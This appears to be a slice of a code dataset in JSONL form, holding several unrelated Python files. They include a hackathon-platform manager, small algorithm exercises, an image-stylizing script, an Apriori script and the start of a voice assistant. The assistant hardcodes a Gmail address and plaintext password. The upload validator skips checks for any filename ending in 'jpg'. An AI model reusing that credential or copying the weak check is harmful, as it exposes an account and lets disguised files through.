return award.dic()\n\n    def update_hackathon_award(self, hackathon, body):\n        award = self.db.get_object(Award, body.id)\n        if not award:\n            return not_found(\"award not found\")\n\n        if award.hackathon.name != hackathon.name:\n            return forbidden()\n\n        level = award.level\n        if body.get(\"level\"):\n            level = int(body.level)\n            if level > 10:\n                level = 10\n\n        award.name = body.get(\"name\", award.name)\n        award.level = body.get(\"level\", level)\n        award.quota = body.get(\"quota\", award.quota)\n        award.award_url = body.get(\"award_url\", award.award_url)\n        award.description = body.get(\"description\", award.description)\n        award.update_time = self.util.get_now()\n\n        self.db.commit()\n        return award.dic()\n\n    def delete_hackathon_award(self, hackathon, award_id):\n        self.db.delete_all_objects_by(Award, hackathon_id=hackathon.id, id=award_id)\n        return ok()\n\n    def list_hackathon_awards(self, hackathon):\n        awards = hackathon.award_contents.order_by(Award.level.desc()).all()\n        return [a.dic() for a in awards]\n\n    def schedule_pre_allocate_expr_job(self):\n        \"\"\"Add an interval schedule job to check all hackathons\"\"\"\n        next_run_time = self.util.get_now() + timedelta(seconds=3)\n        self.scheduler.add_interval(feature=\"hackathon_manager\",\n                                    method=\"check_hackathon_for_pre_allocate_expr\",\n                                    id=\"check_hackathon_for_pre_allocate_expr\",\n                                    next_run_time=next_run_time,\n                                    minutes=10)\n\n    def check_hackathon_for_pre_allocate_expr(self):\n        \"\"\"Check all hackathon for pre-allocate\n\n        Add an interval job for hackathon if it's pre-allocate is enabled.\n        Otherwise try to remove the schedule job\n        \"\"\"\n        hackathon_list = self.db.find_all_objects(Hackathon)\n        for hack in hackathon_list:\n            job_id = \"pre_allocate_expr_\" + str(hack.id)\n            is_job_exists = self.scheduler.has_job(job_id)\n            if hack.is_pre_allocate_enabled():\n                if is_job_exists:\n                    self.log.debug(\"pre_allocate job already exists for hackathon %s\" % str(hack.id))\n                    continue\n\n                self.log.debug(\"add pre_allocate job for hackathon %s\" % str(hack.id))\n                next_run_time = self.util.get_now() + timedelta(seconds=hack.id * 10)\n                pre_allocate_interval = self.__get_pre_allocate_interval(hack)\n                self.scheduler.add_interval(feature=\"expr_manager\",\n                                            method=\"pre_allocate_expr\",\n                                            id=job_id,\n                                            context=Context(hackathon_id=hack.id),\n                                            next_run_time=next_run_time,\n                                            seconds=pre_allocate_interval\n                                            )\n            elif is_job_exists:\n                self.log.debug(\"remove job for hackathon %s since pre_allocate is disabled\" % str(hack.id))\n                self.scheduler.remove_job(job_id)\n        return True\n\n    def check_hackathon_online(self, hackathon):\n        alauda_enabled = is_alauda_enabled(hackathon)\n        can_online = True\n        if alauda_enabled == \"0\":\n            if self.util.is_local():\n                can_online = True\n            else:\n                can_online = docker_host_manager.check_subscription_id(hackathon.id)\n\n        return ok(can_online)\n\n    def __get_hackathon_detail(self, hackathon, user=None):\n        \"\"\"Return hackathon info as well as its details including configs, stat, organizers, like if user logon\"\"\"\n        detail = hackathon.dic()\n\n        detail[\"config\"] = self.__get_hackathon_configs(hackathon)\n        detail[\"stat\"] = self.get_hackathon_stat(hackathon)\n        detail[\"tag\"] = self.get_hackathon_tags(hackathon)\n        detail[\"organizer\"] = self.__get_hackathon_organizers(hackathon)\n\n        if user:\n            detail[\"user\"] = self.user_manager.user_display_info(user)\n            detail[\"user\"][\"is_admin\"] = self.admin_manager.is_hackathon_admin(hackathon.id, user.id)\n\n            asset = self.db.find_all_objects_by(UserHackathonAsset, user_id=user.id, hackathon_id=hackathon.id)\n            if asset:\n                detail[\"asset\"] = [o.dic() for o in asset]\n\n            like = self.db.find_first_object_by(HackathonLike, user_id=user.id, hackathon_id=hackathon.id)\n            if like:\n                detail[\"like\"] = like.dic()\n\n            register = self.register_manager.get_registration_by_user_and_hackathon(user.id, hackathon.id)\n            if register:\n                detail[\"registration\"] = register.dic()\n\n            team_rel = self.db.find_first_object_by(UserTeamRel, user_id=user.id, hackathon_id=hackathon.id)\n            if team_rel:\n                detail[\"team\"] = team_rel.team.dic()\n\n        return detail\n\n    def __create_hackathon(self, context):\n        \"\"\"Insert hackathon and admin_hackathon_rel to database\n\n        We enforce that default config are used during the creation\n\n        :type context: Context\n        :param context: context of the args to create a new hackathon\n\n        :rtype: Hackathon\n        :return hackathon instance\n        \"\"\"\n\n        new_hack = Hackathon(\n            name=context.name,\n            display_name=context.display_name,\n            ribbon=context.get(\"ribbon\"),\n            description=context.get(\"description\"),\n            short_description=context.get(\"short_description\"),\n            banners=context.get(\"banners\"),\n            status=HACK_STATUS.INIT,\n            creator_id=g.user.id,\n            event_start_time=context.get(\"event_start_time\"),\n            event_end_time=context.get(\"event_end_time\"),\n            registration_start_time=context.get(\"registration_start_time\"),\n            registration_end_time=context.get(\"registration_end_time\"),\n            judge_start_time=context.get(\"judge_start_time\"),\n            judge_end_time=context.get(\"judge_end_time\"),\n            type=context.get(\"type\", HACK_TYPE.HACKATHON)\n        )\n\n        # basic xss prevention\n        if new_hack.description:  # case None type\n            new_hack.description = self.cleaner.clean_html(new_hack.description)\n\n        # insert into table hackathon\n        self.db.add_object(new_hack)\n\n        # add the current login user as admin and creator\n        try:\n            ahl = AdminHackathonRel(user_id=g.user.id,\n                                    role_type=ADMIN_ROLE_TYPE.ADMIN,\n                                    hackathon_id=new_hack.id,\n                                    status=HACK_STATUS.INIT,\n                                    remarks='creator',\n                                    create_time=self.util.get_now())\n            self.db.add_object(ahl)\n        except Exception as ex:\n            # TODO: send out a email to remind administrator to deal with this problems\n            self.log.error(ex)\n            raise InternalServerError(\"fail to create the default administrator\")\n\n        return new_hack\n\n    def __get_pre_allocate_interval(self, hackathon):\n        interval = self.get_basic_property(hackathon, HACKATHON_BASIC_INFO.PRE_ALLOCATE_INTERVAL_SECONDS)\n        if interval:\n            return int(interval)\n        else:\n            return 300 + hackathon.id * 10\n\n    def __get_hackathon_configs(self, hackathon):\n\n        def __internal_get_config():\n            configs = {}\n            for c in hackathon.configs.all():\n                configs[c.key] = c.value\n            return configs\n\n        cache_key = self.__get_config_cache_key(hackathon)\n        return self.cache.get_cache(key=cache_key, createfunc=__internal_get_config)\n\n    def __get_hackathon_organizers(self, hackathon):\n        organizers = self.db.find_all_objects_by(HackathonOrganizer, hackathon_id=hackathon.id)\n        return [o.dic() for o in organizers]\n\n    def __parse_update_items(self, args, hackathon):\n        \"\"\"Parse properties that need to update\n\n        Only those whose value changed items will be returned. Also some static property like id, create_time should\n        NOT be updated.\n\n        :type args: dict\n        :param args: arguments from http body which contains new values\n\n        :type hackathon: Hackathon\n        :param hackathon: the existing Hackathon object which contains old values\n\n        :rtype: dict\n        :return a dict that contains all properties that are updated.\n        \"\"\"\n        result = {}\n\n        for key in dict(args):\n            if dict(args)[key] != hackathon.dic()[key]:\n                result[key] = dict(args)[key]\n\n        result.pop('id', None)\n        result.pop('create_time', None)\n        result.pop('creator_id', None)\n        result['update_time'] = self.util.get_now()\n        return result\n\n    def __get_hackathon_stat(self, hackathon):\n        stats = self.db.find_all_objects_by(HackathonStat, hackathon_id=hackathon.id)\n        result = {\n            \"hackathon_id\": hackathon.id,\n            \"online\": 0,\n            \"offline\": 0\n        }\n        for item in stats:\n            result[item.type] = item.count\n\n        reg_list = hackathon.registers.filter(UserHackathonRel.deleted != 1,\n                                              UserHackathonRel.status.in_([RGStatus.AUTO_PASSED,\n                                                                           RGStatus.AUDIT_PASSED])).all()\n\n        reg_count = len(reg_list)\n        if reg_count > 0:\n            user_id_list = [r.user_id for r in reg_list]\n            user_id_online = self.db.count(User, (User.id.in_(user_id_list) & (User.online == 1)))\n            result[\"online\"] = user_id_online\n            result[\"offline\"] = reg_count - user_id_online\n\n        return result\n\n    def __get_config_cache_key(self, hackathon):\n        return \"hackathon_config_%s\" % hackathon.id\n\n    def __create_default_data_for_local(self, hackathon):\n        \"\"\"\n        create test data for new hackathon. It's for local development only\n        :param hackathon:\n        :return:\n        \"\"\"\n        try:\n            # test docker host server\n            docker_host = DockerHostServer(vm_name=\"localhost\", public_dns=\"localhost\",\n                                           public_ip=\"127.0.0.1\", public_docker_api_port=4243,\n                                           private_ip=\"127.0.0.1\", private_docker_api_port=4243,\n                                           container_count=0, container_max_count=100,\n                                           disabled=0, state=DockerHostServerStatus.DOCKER_READY,\n                                           hackathon=hackathon)\n            if self.db.find_first_object_by(DockerHostServer, vm_name=docker_host.vm_name,\n                                            hackathon_id=hackathon.id) is None:\n                self.db.add_object(docker_host)\n        except Exception as e:\n            self.log.error(e)\n            self.log.warn(\"fail to create test data\")\n\n        return\n\n    def __validate_upload_files(self):\n        # check file size\n        if request.content_length > len(request.files) * self.util.get_config(\"storage.size_limit_kilo_bytes\") * 1024:\n            raise BadRequest(\"more than the file size limited\")\n\n        # check each file type\n        for file_name in request.files:\n            if request.files.get(file_name).filename.endswith('jpg'):\n                continue  # jpg is not considered in imghdr\n            if imghdr.what(request.files.get(file_name)) is None:\n                raise BadRequest(\"only images can be uploaded\")\n\n    def __set_basic_property(self, hackathon, prop):\n        \"\"\"Set basic property in table HackathonConfig\"\"\"\n        config = self.db.find_first_object_by(HackathonConfig, hackathon_id=hackathon.id, key=prop.key)\n        if config:\n            config.value = prop.value\n        else:\n            config = HackathonConfig(key=prop.key,\n                                     value=prop.value,\n                                     hackathon_id=hackathon.id)\n            self.db.add_object(config)\n        self.db.commit()\n\n\n'''\nAttach extension methods to Hackathon entity so that we can code like 'if hackathon.is_auto_approve(): ....' where\nhackathon is entity of Hackathon that defines in database/models.py.\n'''\n\n\ndef is_auto_approve(hackathon):\n    hack_manager = RequiredFeature(\"hackathon_manager\")\n    value = hack_manager.get_basic_property(hackathon, HACKATHON_BASIC_INFO.AUTO_APPROVE, \"1\")\n    return util.str2bool(value)\n\n\ndef is_pre_allocate_enabled(hackathon):\n    if hackathon.status != HACK_STATUS.ONLINE:\n        return False\n\n    if hackathon.event_end_time < util.get_now():\n        return False\n\n    hack_manager = RequiredFeature(\"hackathon_manager\")\n    value = hack_manager.get_basic_property(hackathon, HACKATHON_BASIC_INFO.PRE_ALLOCATE_ENABLED, \"1\")\n    return util.str2bool(value)\n\n\ndef get_pre_allocate_number(hackathon):\n    hack_manager = RequiredFeature(\"hackathon_manager\")\n    value = hack_manager.get_basic_property(hackathon, HACKATHON_BASIC_INFO.PRE_ALLOCATE_NUMBER, 1)\n    return int(value)\n\n\ndef is_alauda_enabled(hackathon):\n    hack_manager = RequiredFeature(\"hackathon_manager\")\n    value = hack_manager.get_basic_property(hackathon, HACKATHON_BASIC_INFO.ALAUDA_ENABLED, \"0\")\n    return util.str2bool(value)\n\n\ndef get_basic_property(hackathon, property_name, default_value=None):\n    hack_manager = RequiredFeature(\"hackathon_manager\")\n    return hack_manager.get_basic_property(hackathon, property_name, default_value)\n\n\nHackathon.is_auto_approve = is_auto_approve\nHackathon.is_pre_allocate_enabled = is_pre_allocate_enabled\nHackathon.get_pre_allocate_number = get_pre_allocate_number\nHackathon.is_alauda_enabled = is_alauda_enabled\nHackathon.get_basic_property = get_basic_property\n","repo_name":"MehHacks/open-hackathon","sub_path":"open-hackathon-server/src/hackathon/hack/hackathon_manager.py","file_name":"hackathon_manager.py","file_ext":"py","file_size_in_byte":30478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"}
{"seq_id":"2941378688","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def mergeTrees(self, root1: TreeNode, root2: TreeNode) -> TreeNode:\n\n        node = TreeNode(None)\n\n        if root1 is None and root2 is None:\n            return\n\n        if root1 and root2 is None:\n            node.val = root1.val\n            node.left = self.mergeTrees(root1.left, None)\n            node.right = self.mergeTrees(root1.right, None)\n        elif root1 is None and root2:\n            node.val = root2.val\n            node.left = self.mergeTrees(None, root2.left)\n            node.right = self.mergeTrees(None,root2.right)\n        elif root1 and root2:\n            node.val = root1.val + root2.val\n            node.left = self.mergeTrees(root1.left, root2.left)\n            node.right = self.mergeTrees(root1.right, root2.right)\n\n\n        return node","repo_name":"kai0456/algo_prac","sub_path":"binary_tree/617_Merge_Two_Binary_Trees.py","file_name":"617_Merge_Two_Binary_Trees.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"9747390729","text":"# -*- coding: utf-8 -*-\n\n# In[] Import necessary packages\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom PIL import Image, ImageDraw, ImageFont\nimport cv2\n\n# In[]: INPUTS\n#image = \"selfie_002.png\"\nimage = \"pavel.jpg\"\nimage = \"rafa.jpg\"\n\nmessage = 'Hello! How are you? I am fine, thank you! And what about you? Do you like chocolate? Yes, sure! Wow fefeff'\nmessage = 'Rauf is bald to you! Go to our club'\nmessage = \"Will we buy Go in such a way that there is still more and then buy more and so on until we die?\"\nmessage = \"Здравствуйте всем, привет всем. Передаю привет балдёжной команде ивел панде.\"\n\n# In[] LOAD IMAGE\nselfie_path = \"data/images/selfies/\" + image\nimg = Image.open(selfie_path)\nh,w = (384,512)\nimg = img.resize((h,w))\nplt.imshow(img)\n\n# In[] Binary segmentation\nfrom deeplab_demo import DeepLabModel\nseg_model_path = \"deeplabv3_mnv2_pascal_train_aug_2018_01_29.tar.gz\"\nseg_model = DeepLabModel(seg_model_path)\nresized_img, seg_map = seg_model.run(img)\nresized_img = np.array(resized_img)[:w, :h]\nseg_map = seg_map[:w, :h]\n\n# In[]\nplt.imshow(resized_img)\n\n# In[]\nplt.imshow(seg_map)\n\n# In[] MORPHOLOGICAL POSTRPOCESSING OF MASK\n# Largest blob\nfrom morph import extract_largest_blob, fill_holes\n\nmask = extract_largest_blob(seg_map)\nplt.imshow(mask)\n\n# In[]\n# Filling holes\nmask = fill_holes(mask)\nplt.imshow(mask)\n\n# In[] BLACK BACKGROUD ADDITION\n# Add background\nmask_extended = np.zeros((512, 512), dtype = np.bool)\nmask_extended[-512:,:384] = mask\n\nseg_image = resized_img * np.repeat(mask[:, :, np.newaxis], 3, axis=2)\nseg_image_extended = np.zeros((512, 512, 3), dtype=np.uint8)\nseg_image_extended[-512:,:384,:] = seg_image\n\n# In[] STYLE BANK\nimport torch\nimport torchvision.transforms as transforms\nimport pandas as pd\n\nimport sys\nsys.path.append('stylebank/')\n\nfrom networks import StyleBankNet\nimport stylebank.util as util\n\ncontent_img_transform = transforms.Compose([\n\tutil.Resize(513),\n\ttransforms.CenterCrop([513, 513]),\n\ttransforms.ToTensor()\n])\n    \ntrans = transforms.ToPILImage()\n\nstyles = pd.read_fwf('stylebank/styles_2.txt')\nstyles = styles.values[:,0]\n\ndevice = \"cpu\"\nstyle = 'anime1'\nstyle_idx = (styles == style).argmax()\n\nmodel = StyleBankNet(1).to(device)\nmodel.encoder_net.load_state_dict(torch.load(\"stylebank/weights_test_2/encoder_2.pth\"))\nmodel.decoder_net.load_state_dict(torch.load(\"stylebank/weights_test_2/decoder_2.pth\"))\nmodel.style_bank[0].load_state_dict(torch.load(\"stylebank/weights_test_2/bank_2/{}_2.pth\".format(style_idx)))\n\nx = content_img_transform(trans(seg_image_extended))\nstyled_image = model(x.expand((1,3,513,513)), util.get_sid_batch(list(range(1)), 1))\n\nstyled_image = styled_image[0].cpu().detach()\nstyled_image = styled_image.clamp(min=0, max=1)\nstyled_image = styled_image.cpu().numpy().transpose(1, 2, 0)\nstyled_image = styled_image[:w,:w,:]\n\n#data = styled_image.astype(np.float32) / 1. # normalize the data to 0 - 1\nstyled_image = 255 * styled_image # Now scale by 255\nstyled_image = styled_image.astype(np.uint8)\nplt.imshow(styled_image)\n\n# In[] GRADIENT\ndef get_gradient(size_g, channel=0, sigma=1, mu=0):\n    x, y = np.meshgrid(np.linspace(-1, 1, size_g), np.linspace(-1, 1, size_g))\n    d = np.sqrt(x*x+y*y)\n    g = np.exp(-((d-mu)**2 / (2.0 * sigma**2)))\n    final = np.zeros((512, 512, 3))\n    final[:, :, channel] = g\n    final *= 255\n    final = final.astype(np.uint8)\n    return final\n\ngradient = get_gradient(512)\nplt.imshow(gradient)\n\n# In[] TRANSPARENT OVERLAY\ndef transparent_overlay_2(src, overlay, pos=(0, 0), scale=1):\n    overlay = cv2.resize(overlay, (0, 0), fx=scale, fy=scale)\n    h, w, _ = overlay.shape  # Size of foreground\n    rows, cols, _ = src.shape  # Size of background Image\n    y, x = pos[0], pos[1]  # Position of foreground/overlay image\n\n    # loop over all pixels and apply the blending equation\n    for i in range(h):\n        for j in range(w):\n            if x + i >= rows or y + j >= cols:\n                continue\n            # read the alpha channel\n            alpha = float(overlay[i][j][3] / 255.0)\n            src[x + i][y + j] = alpha * overlay[i][j][:3] + \\\n                (1 - alpha) * src[x + i][y + j]\n\n    return src\n\nkek = styled_image*np.repeat(mask_extended[:, :, np.newaxis], 3, axis=2)\nkek = cv2.cvtColor(kek, cv2.COLOR_RGB2RGBA)\nkek[~mask_extended] = 0\n\nasd = transparent_overlay_2(gradient, kek)\n\nplt.imshow(asd)\n\n# In[] COLOR BACKGROUD ADDITION\n#tmp = cv2.cvtColor(seg_image, cv2.COLOR_RGB2GRAY)\n#_, alpha = cv2.threshold(tmp,0,255,cv2.THRESH_BINARY)\n#r, g, b = cv2.split(seg_image)\n#rgba = [r,g,b, alpha]\n#dst = cv2.merge(rgba,4)\n#\n#trans_mask = dst[:,:,3] == 0\n#color = [0,255,0,255]\n#dst[trans_mask] = color\n#\n#img_backgrounded = np.ones((512, 512, 4), dtype = np.uint8)*color\n#img_backgrounded[-512:,:384,:] = dst\n#img_backgrounded = img_backgrounded[...,:3]\n#img_backgrounded = img_backgrounded.astype(np.uint8)\n#\n#plt.imshow(img_backgrounded)\n\n# In[] Facial landmarks detection:\nfrom imutils import face_utils\nimport dlib\n\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\n\ngray = cv2.cvtColor(resized_img, cv2.COLOR_BGR2GRAY)\n\n# detect faces in the grayscale image\nrects = detector(gray, 1)\nshape = predictor(gray, rects[0])\nshape = face_utils.shape_to_np(shape)\nmouth_left_xy = shape[48]\nmouth_mid_xy = shape[66]\nmouth_right_xy = shape[54]\nmouth_x, mouth_y = mouth_right_xy\nchin_xy = shape[8]\n\n# In[] OBLACHKO:\nimport imageio\n\nfont_size=25\nfont_color=(0,0,0)\nunicode_font = ImageFont.truetype(\"DejaVuSans.ttf\", font_size)\n\ndef transparent_overlay(src, overlay, text=['Hello!'], font=cv2.FONT_HERSHEY_SIMPLEX, pos=(0, 0), pos_txt=(0, 0), scale=1):\n\n    overlay = cv2.resize(overlay, (0, 0), fx=scale, fy=scale)\n    h, w, _ = overlay.shape  # Size of foreground\n    rows, cols, _ = src.shape  # Size of background Image\n    y, x = pos[0], pos[1]  # Position of foreground/overlay image\n\n    scr_cp = src.copy()\n    numsteps = 3\n\n    # loop over all pixels and apply the blending equation\n    with imageio.get_writer('canadian.gif', mode='I') as writer:\n        for al in range(numsteps):\n            scr_cp = src.copy()\n            for i in range(h):\n                for j in range(w):\n                    if x + i >= rows or y + j >= cols:\n                        continue\n                    # read the alpha channel\n                    alpha = (1/numsteps)*al*float(overlay[i][j][3] / 255.0)\n                    scr_cp[x + i][y + j] = alpha * overlay[i][j][:3] + \\\n                        (1 - alpha) * scr_cp[x + i][y + j]\n            writer.append_data(scr_cp)\n            \n        canadian_img = scr_cp.copy()\n\n        moving_mouth = canadian_img[mouth_left_xy[1]:chin_xy[1],mouth_left_xy[0]:mouth_right_xy[0],:].copy()\n        mm_h, mm_w = moving_mouth.shape[:2]\n\n        step = 10\n        i = range(1, mm_h//2, step)\n        j = 0\n\n        y_pos = pos_txt[1]\n        curr_img = scr_cp.copy()\n        for l in text:\n            curr_line = ''\n            image_copy = np.zeros_like(img)\n            for w in l:\n                curr_line += w\n                image_copy = curr_img.copy()\n                \n                image_copy[mouth_left_xy[1]:chin_xy[1],mouth_left_xy[0]:mouth_right_xy[0],:] = 0\n                image_copy[mouth_left_xy[1]+i[j]:chin_xy[1]+i[j],mouth_left_xy[0]:mouth_right_xy[0],:] = moving_mouth\n                \n                #\n                pilimg = Image.fromarray(image_copy)\n                draw = ImageDraw.Draw(pilimg)\n                draw.text ((pos_txt[0], y_pos-font_size), curr_line, font=unicode_font, fill=font_color)\n                #\n#                cv2.putText(image_copy, curr_line, (pos_txt[0], y_pos), font,\n#                            0.8, (0, 0, 0), 1, cv2.LINE_AA)\n                writer.append_data(np.array(pilimg))\n                j += 1\n                if (j >= len(i)):\n                    j = 0\n            image_copy = curr_img.copy()\n            curr_img = image_copy\n#            y_pos += dy\n\ndef check_text(text, max_line_length=33, max_length=100):\n    lines = []\n    if len(text) > max_length:\n        text = text[:100]\n    splitted_text = text.split()\n    current_line = ''\n    for word in splitted_text:\n        if len(current_line+word) <= max_line_length:\n            current_line = current_line + ' ' + word\n        else:\n            lines.append(current_line)\n            current_line = word\n    lines.append(current_line)\n    return lines\n\ncloud = cv2.imread('data/images/clouds/cloud4.png', -1)\n\ncloud_w = asd.shape[0] - mouth_x\ncloud_ratio = cloud.shape[0]/cloud.shape[1]\ncloud_h = int(cloud_ratio*cloud_w)\ncloud_resized = cv2.resize(cloud, (cloud_w, cloud_h))\ncloud_pos_x = mouth_x\ncloud_pos_y = mouth_y - int(cloud_h*(5/4))\ncloud_center_x = cloud_pos_x + int(cloud_w/5)\nlines = check_text(message, max_line_length=cloud_w//20)\ncloud_center_y = cloud_pos_y + int(cloud_h/2)\ntransparent_overlay(asd, cloud_resized, text=lines, pos=(cloud_pos_x, cloud_pos_y), pos_txt=(cloud_center_x, cloud_center_y))","repo_name":"evil-panda-team/photohack_v1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"15868657821","text":"# 소수인지를 판단하는 프로그램\n\ndef prime(num) :\n    for div in range(2,num) :\n        if num % div == 0:\n            print(\"소수가 아닙니다.\")\n            break\n        elif div == num -1:\n            print(\"소수입니다.\")\n        else:\n            continue\n\nnumber = int(input())\nprime(number)","repo_name":"HYEONAH-SONG/Algorithms","sub_path":"SW_Expert_Academy_01/EX36.py","file_name":"EX36.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"36676792429","text":"import pytorch_lightning as pl\n\nimport ray\n\nfrom tablestakes.ml import model_transformer, hyperparams, metrics_mod\n\nnum_gpus = 1\nnum_cpus = 2\n\nray.init(\n    address='auto',\n    ignore_reinit_error=True,\n)\n\n\n@ray.remote(num_gpus=num_gpus, num_cpus=num_cpus, max_calls=1)\ndef run_one(hp: hyperparams.LearningParams):\n    net = model_transformer.RectTransformerModule(hp)\n\n    pl_callbacks = [\n        metrics_mod.CounterTimerCallback(),\n    ]\n\n    trainer = pl.Trainer(\n        logger=metrics_mod.get_pl_logger(hp),\n        callbacks=pl_callbacks,\n        max_epochs=hp.num_epochs,\n        weights_summary='full',\n        profiler=True,\n        gpus=num_gpus,\n    )\n\n    print(\"Starting trainer.fit:\")\n    trainer.fit(net)\n\n    print('done! with fit')\n\n    return True\n\n\nif __name__ == '__main__':\n    dataset_name = 'num=10000_99e0'\n\n    encoder_types = [\n        'torch',\n        # 'fast_default',\n        # 'fast_favor',\n        # 'fast_grf',\n        # # 'performer',\n        # 'ablatable_do_drop_k',\n        # 'ablatable_do_not_drop_k',\n    ]\n    encoder_types.reverse()\n\n    hp = hyperparams.LearningParams(dataset_name)\n    hp.num_epochs = 10\n    hp.lr = 0.001\n\n    print('')\n    outs = []\n    for encoder_type in encoder_types:\n        print(f'Starting {encoder_type}')\n        hp.trans_encoder_type = encoder_type\n        hp.experiment_tags = ['encoder_benchmark_v2-reverse']\n        outs.append(run_one.remote(hp))\n\n    print(ray.get(outs))\n    print('done')\n","repo_name":"kevinbache/tablestakes","sub_path":"python/tablestakes/ml/ray_tune/run_one.py","file_name":"run_one.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"32771184112","text":"import openpyxl\r\nimport argparse\r\nfrom efficient_apriori import apriori\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('text', type=str,\r\n                help=\"확인 하고싶은 단어\")\r\nargs = parser.parse_args()\r\n\r\ntest = openpyxl.load_workbook(filename='result.xlsx')\r\nresultSheet = test.worksheets[0]\r\n\r\nexception = openpyxl.load_workbook(filename='exception.xlsx')\r\nexceptionSheet = exception.worksheets[0]\r\n\r\nmax_data_row = resultSheet.max_row + 1\r\nmax_exceoption_row = exceptionSheet.max_row + 1\r\n\r\nfor i in range(2, max_exceoption_row):\r\n    if(exceptionSheet.cell(row = i, column = 6).value==None):\r\n        max_exceoption_row = i\r\n        break\r\n\r\n\r\ndata = []\r\nfor i in range(2,max_data_row):\r\n    data.append(str(resultSheet.cell(row=i,column=1).value) + str(resultSheet.cell(row=i,column=2).value) + str(resultSheet.cell(row=i,column=3).value))\r\n\r\npreData = []\r\nfor j in range(0,len(data)):\r\n    temp = data[j].replace(\"/\", \" \").split(\" \")\r\n    tempData = []\r\n    for k in range(0,len(temp)):\r\n        if(temp[k]==''):\r\n            continue\r\n        temp1 = temp[k].replace(\"*\",\" \")\r\n        tempData.append(temp1)\r\n    tempData = list(set(tempData))\r\n    preData.append(tuple(tempData))\r\n\r\n\r\nitemsets, rules = apriori(preData, min_support=0.15,  min_confidence=0.1)\r\n\r\n\r\ndd = []\r\nrules_rhs = filter(lambda rule: len(rule.lhs) == 1 and len(rule.rhs) == 1, rules)\r\nfor rule in sorted(rules_rhs, key=lambda rule: rule.confidence):\r\n    if(rule.lhs[0]==args.text and rule.confidence!=1 and rule.lift>1 and rule.conviction < 1.5):\r\n        for i in range(0, len(rule.rhs)):\r\n            dd.append(rule.rhs[i])\r\ndd.reverse()\r\n\r\nfor i in range(0,len(dd)):\r\n    for j in range(2,max_exceoption_row):\r\n        if(str(exceptionSheet.cell(row=j,column=6).value).find(dd[i])!=-1):\r\n            tempStr = str(exceptionSheet.cell(row=j,column=6).value).split(\"/\")\r\n            dd[i] = tempStr[0]\r\n            break\r\n\r\n\r\nresultData = []\r\nfor i in range(0,len(dd)):\r\n    check = False\r\n    for j in range(0,len(resultData)):\r\n        if(dd[i]==resultData[j]):\r\n            check =True\r\n    if(check==False):\r\n        resultData.append(dd[i])\r\n\r\n\r\nfor i in range(0,len(resultData)):\r\n    print(resultData[i])\r\n\r\n","repo_name":"Hyeongjoon/test","sub_path":"apriori.py","file_name":"apriori.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"7959000523","text":"\nimport sys\nimport argparse\nimport random\n\n# parser = argparse.ArgumentParser()\n# parser.add_argument(\"n\")\n# args = parser.parse_args()\n\nn = [2**5, 2**10, 2**15, 2**20, 2**25]\n\nfor k in range(len(n)):\n    print(n[k])\n    with open(str(n[k])+'.txt', 'w') as fp:\n        fp.write(str(n[k])+'\\n')\n        for i in range(n[k]):\n            fp.write(str(random.uniform(-100, 100))+' ')\n        fp.write('\\n')\n        for i in range(n[k]):\n            fp.write(str(random.uniform(-100, 100))+' ')","repo_name":"protaxY/PGP_labs","sub_path":"lab1/tests/genTests.py","file_name":"genTests.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7585679717","text":"import pyttsx3\r\nimport datetime\r\nimport speech_recognition as sr\r\nimport webbrowser\r\nimport os\r\nimport smtplib\r\nimport subprocess \r\nimport requests\r\nimport wikipedia\r\nimport ctypes\r\nimport time\r\n\r\nengine =pyttsx3.init()\r\nvoices=engine.getProperty('voices')\r\nengine.setProperty('voice',voices[2].id)\r\n\r\ndef speak(audio):\r\n    engine.say(audio)\r\n    engine.runAndWait()\r\n\r\n\r\ndef timeda():\r\n    Time = datetime.datetime.now().strftime(\"%I:%M:%S\")   \r\n    speak(Time)\r\n\r\ndef date():\r\n    year = int(datetime.datetime.now().year)    \r\n    month = int(datetime.datetime.now().month) \r\n    date = int(datetime.datetime.now().day) \r\n    speak(date)\r\n    speak(month)\r\n    speak(year)\r\n    \r\ndef check():\r\n    hour = datetime.datetime.now().hour\r\n    if hour >= 5 and hour <12:\r\n        speak(\"Good Morning \")\r\n    elif hour >=12 and hour <18:\r\n        speak(\"Good Afternoon \")\r\n    else:\r\n        speak(\"Good Evening \")\r\n            \r\ndef greetings():\r\n    check()\r\n    speak(\"Welcome back,Sir. Mark here\")\r\n    speak(\"Let me know what can i do for you sir!!\")\r\n\r\ndef takeCommand():\r\n    r = sr.Recognizer()\r\n    with sr.Microphone() as source:\r\n        r.pause_threshold = 1\r\n        audio =r.listen(source)\r\n    try:\r\n        print(\"Recognising...\")\r\n        query=r.recognize_google(audio,language='en-in')\r\n        print(query)\r\n    except Exception as e:\r\n        print(e)\r\n        return \"None\"\r\n    return query\r\n\r\ndef sendEmail(to, content):\r\n    server = smtplib.SMTP('smtp.gmail.com', 587)\r\n    server.ehlo()\r\n    server.starttls()\r\n    server.login('sunnykumar12928@gmail.com', '25929031')\r\n    server.sendmail('sunnykumar12928@gmail.com', to, content)\r\n    server.close()\r\n\r\ndef changeWallpaper():\r\n    imgage=r\"C:\\Users\\91800\\Desktop\\Mark\\image\\mark.jpg\"\r\n    ctypes.windll.user32.SystemParametersInfoW(20,0,imgage,0)\r\n\r\ndef changeScreen():\r\n    app = r\"C:\\Users\\91800\\Desktop\\Mark\\Rainmeter\\rainmeter.exe\"\r\n   